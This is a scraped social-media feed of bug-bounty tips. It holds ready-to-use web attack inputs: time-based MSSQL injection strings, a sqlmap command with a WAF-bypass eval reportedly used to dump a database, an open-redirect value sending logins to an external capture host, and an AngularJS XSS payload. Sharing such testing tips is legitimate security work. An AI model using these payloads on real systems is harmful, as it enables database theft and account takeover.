Casper0x

#CRTO #CRTO2
#eJPT #ICCA #EHE #CAPen #CAPenx #CNPen #CAP #CCSP_AWS #PT1 #CRTeamer #CAPIPen

[Casper0x @_casper0x]

Finding the right SQLi payload isn’t always easy

@lu3ky13

Built this with AI (https://t.co/ZNndSrKISU) For POC:

';IF(LEN(USER_NAME())>=5)WAITFOR DELAY '0:0:20'--

#BugBounty #SQLi #bugbountytips #hackerone #SQL

[Casper0x @_casper0x]

Finding the right SQLi payload isn’t always easy.

If you can’t craft custom logic, use Time-Based techniques to prove control.

Built this with AI (https://t.co/ZNndSrKISU) for a POC:

';IF(LEN(USER_NAME())>=5)WAITFOR DELAY '0:0:20'--

#BugBounty #SQLi #bugbountytips #hackerone

[Casper0x @_casper0x]

@lu3ky13 🫡🔥

[Casper0x @_casper0x]

In this walkthrough I pivot from a compromised Windows 7 host into a hidden internal network and achieve RCE on a protected Windows 10 server using Metasploit.

Foothold → Pivot → Internal compromise.

Full breakdown: https://t.co/VP7BidK4mN

#RedTeam #Pivoting #OffSec #hack

[Casper0x @_casper0x]

@mrdami3n No, and yes full db with bypassing WAF using that eval command

[Casper0x @_casper0x]

SQLi allowed database enumeration and dumping, Still a bit weird the report was closed as Informative

sqlmap -r r.txt --eval="import base64; payload_part='select 1 where 1=1'; GUID='x%27 or length(payload_part)=0'; del payload_part"

#bugbounty #sqli #hackerone #bugbountytips

[Casper0x @_casper0x]

@runyourcron Yes🙂

[Casper0x @_casper0x]

Open Redirect isn’t always “low”.

Abused a redirect parameter during authentication flow → redirected login to attacker domain → captured credentials.

login.php?url=//\\.oastify.com

Write-up publishing soon.
https://t.co/ZNndSrKISU
#BugBounty #bugbountytips #ATO #hackerone

[Casper0x @_casper0x]

Simple XSS payload for AngularJS testing.

Older AngularJS versions are still vulnerable to expression injection.

{{$on.constructor('alert(document.domain)')()}}

#BugBounty #XSS #bugbountytips #hackerone

[Casper0x @_casper0x]

@vShelled @version I test on all parameters I see, and using the delay payload is the best way to find SQLi

[Casper0x @_casper0x]

Time-Based SQL Injection Is Still Everywhere!🔥

You can fingerprint the backend DB version with

'; IF (SUBSTRING(@@VERSION,1,1) = 'M') WAITFOR DELAY '0:0:15' --

Delay = proof.

#RedTeam #BugBounty #SQLi #bugbountytips #hackerone

[Casper0x @_casper0x]

Finding the right SQLi payload isn’t always easy.

If you can’t craft custom logic, use Time-Based techniques to prove control.

Built this with AI (https://t.co/ZNndSrKISU) for a POC:

';IF(LEN(USER_NAME())>=5)WAITFOR DELAY '0:0:20'--

#BugBounty #SQLi #bugbountytips #hackerone

[Casper0x @_casper0x]

@threadreaderapp @ZedPirateRobert @lu3ky13 🔥🔥

[Casper0x @_casper0x]

@infinitelogins @spaceraccoonsec ZERODAY

[Casper0x @_casper0x]

@lu3ky13 @tryhackme @credly @im4x7 Congratulations 🎉❤️

[Casper0x @_casper0x]

@lu3ky13 @hackthebox_eu Big brother🫡❤️

[Casper0x @_casper0x]

@ine Thanks ❤️

[Casper0x @_casper0x]

@lu3ky13 @KN0X55 😊❤️

[Casper0x @_casper0x]

@lu3ky13 @Hacker0x01 🔥🔥🔥🔥🔥👏

[Casper0x @_casper0x]

@r00t_nasser @lu3ky13 @Blackhatmea @Hacker0x01 Thanks❤️